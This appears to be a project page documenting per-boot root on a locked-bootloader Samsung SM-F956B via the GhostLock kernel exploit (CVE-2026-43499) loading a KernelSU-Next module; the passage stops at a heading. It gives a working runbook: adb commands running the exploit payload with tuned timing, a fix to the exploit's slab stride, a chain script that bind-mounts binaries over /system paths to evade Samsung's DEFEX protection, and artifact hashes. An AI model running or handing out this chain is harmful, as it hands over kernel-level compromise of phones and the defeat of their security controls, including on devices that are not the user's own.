live

KernelSU-Next full root (Track K) — per-boot, locked bootloader

Achieved 2026-10-23: KernelSU-Next v3.4.2 running on a LOCKED bit-4 SM-F956B (F956BXXS4DZI1, Android 16, September 2026 patch). The bootloader never unlocks, nothing is flashed, and root is per boot — but it works, every time, in ~2 minutes.

> Credit: root comes from KernelSU (by weishu) — the GKI kernel root — with the > KernelSU-Next fork's LKM path for the locked bootloader, delivered through the > GhostLock (CVE-2026-43499) exploit ecosystem. We ported and wired it; the techniques > are theirs.

Proof (straight off the phone) 

$ su -c id
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0

$ su -c getenforce
Enforcing

$ grep kernelsu /proc/modules
kernelsu 499712 0 - Live 0x0000000000000000 (O)

$ ksud --version
ksud 3.4.2 (uapi: 5)

$ getprop ro.boot.flash.locked     -> 1
$ getprop ro.boot.vbmeta.device_state -> locked

The last two lines are the receipt: the bootloader is still locked while su answers. The KernelSU-Next manager v3.4.2 reports Working — LKM (GKI2), Jailbreak mode.

KernelSU-Next manager v3.4.2: Working — LKM (GKI2), Jailbreak mode

Screenshots (from the device)

Screenshot Description
KernelSU Manager Working KernelSU-Next manager showing "Working — LKM (GKI2), Jailbreak mode"
Settings Device info: SM-F956B, One UI 8.5, Android 16, Sept 2026 patch, bootloader locked
KernelSU 1 Root shell via su -c id
KernelSU 2 Root shell verification
KernelSU 3 Manager verification
KernelSU 4 Root shell active

The three hidden killers (and their fixes)

  1. Samsung's CPU-70% limit. settings get global restricted_device_performance was 1,1 — a Device-care setting that silently caps the CPU (prime core 3.40 → 2.11 GHz) and destroys the GhostLock race timing. It persists across reboots and is invisible. Fix: settings put global restricted_device_performance 0,0 — plain adb, no root. This single setting explained a week of "the exploit used to hit".
  2. A wrong stride in the exploit. The payload scanned mm_struct with stride 0x3c0 (960) but /proc/slabinfo says the slab object is 1024 bytes (0x400). One digit off = 1-in-32 odds per slot. Fixed in the DZI1/DZH5 offsets entries → the leak + full chain now hits 1/1 at FOPS_DELAY_USEC=30000.
  3. Samsung DEFEX Safeplace. DEFEX kills exec of /data/local/tmp binaries from root tasks ([DEFEX] Safeplace violation ... uid=0 in dmesg). The fix is path spoofing: bind ksud over /system/bin/logcat and the module over /system/etc/hosts — both DEFEX-safe paths — then load.

The chain (what actually loads it)

One root request runs this (f956b-chain.sh):

sh unshare -m /system/bin/sh -c \ "mount -o bind /data/local/tmp/ksud-f956b-dzi1 /system/bin/logcat && \ mount -o bind /data/local/tmp/kernelsu-dzi1.ko /system/etc/hosts && \ /system/bin/logcat insmod /system/etc/hosts allow_shell=1" 

Notes that matter:

- `insmod` only — no post-fs-data, no module mounts, no framework restart. That is
  exactly why this does NOT reboot the phone (the late-load path rebooted on us:
  leftover `/data/adb` state + qcc-vendor reboot mutex — the failure class from
  BuSung-dev Root-My-Galaxy issue #407).
- Loading the module instantly flips SELinux back to **Enforcing**, which kills the
  bootstrap daemon's socket. Everything after the load happens in the same request,
  or via `su`. (The chain script's later lines fail for this reason — expected, not
  a bug.)
- toybox `unshare -m` on this build does not isolate — the bind lands GLOBAL, so
  `/system/bin/logcat` IS ksud until the next reboot. Harmless (logd just spawns
  ksud-as-logcat) but know it before you panic at a weird `logcat`.
- `/system/bin/su` is the KernelSU su-hook magic dentry (stat faked, no backing
  file — opens fail, exec works).

## The artifacts

| file | sha256 |
|---|---|
| kernelsu.ko (v3.4.2, Samsung KDP/RKP/DEFEX/NO_PATCH_TEXT, vermagic byte-exact) | `c0d1a0aa85dda4173738bee3b9184e051b3a2af37a458985d41830acfba9f4f1` |
| ksud (v3.4.2, embeds the module) | `20d5db05a7c4d9229442bc1e3566a8fc2d60b2fbe047a683ab670fdac7b107f0` |
| payload (0x400 fix build) | `AB472606845F346760E989FA67A3381F1855519347CAF5EE4ADA6F0C04AC970A` |
| pompomsu-helper (persist build) | `772A04BF40062C7147CF24DC47C1AB5B43EDA4FC474C73D785DEE348827348D8` |

Built from the 250965249/KernelSU-Next-Samsung fork (commit 3115b87) with the DDK
image `ghcr.io/ylarod/ddk-min:android14-6.1-20260313` (clang r487747c — the same
clang that built the DZI1 kernel). Manager APK: official KernelSU-Next v3.4.2
release (`KernelSU_Next_v3.4.2_33355-release.apk`) — version code 33355 must match
the module's; older managers read "Not installed".

## The runbook (per boot)

```sh```
# once (persists): CPU limit OFF
adb shell settings put global restricted_device_performance 0,0

# per boot, step 1 — exploit (fresh boot + screen on)
adb shell "cd /data/local/tmp && FOPS_DELAY_USEC=30000 GHOSTLOCK_ROOT_SHELL=1 \
  GHOSTLOCK_HOME=/data/local/tmp \
  GHOSTLOCK_HELPER_PATH=/data/local/tmp/pompomsu-helper \
  GHOSTLOCK_KSUD_PATH=/data/local/tmp/ksud ./payload"

# per boot, step 2 — one root request loads KernelSU
adb shell "echo 'sh /data/local/tmp/f956b-chain.sh' | /data/local/tmp/pompomsu-helper"

# per boot, step 3 — root
adb shell "su -c id"

The honest part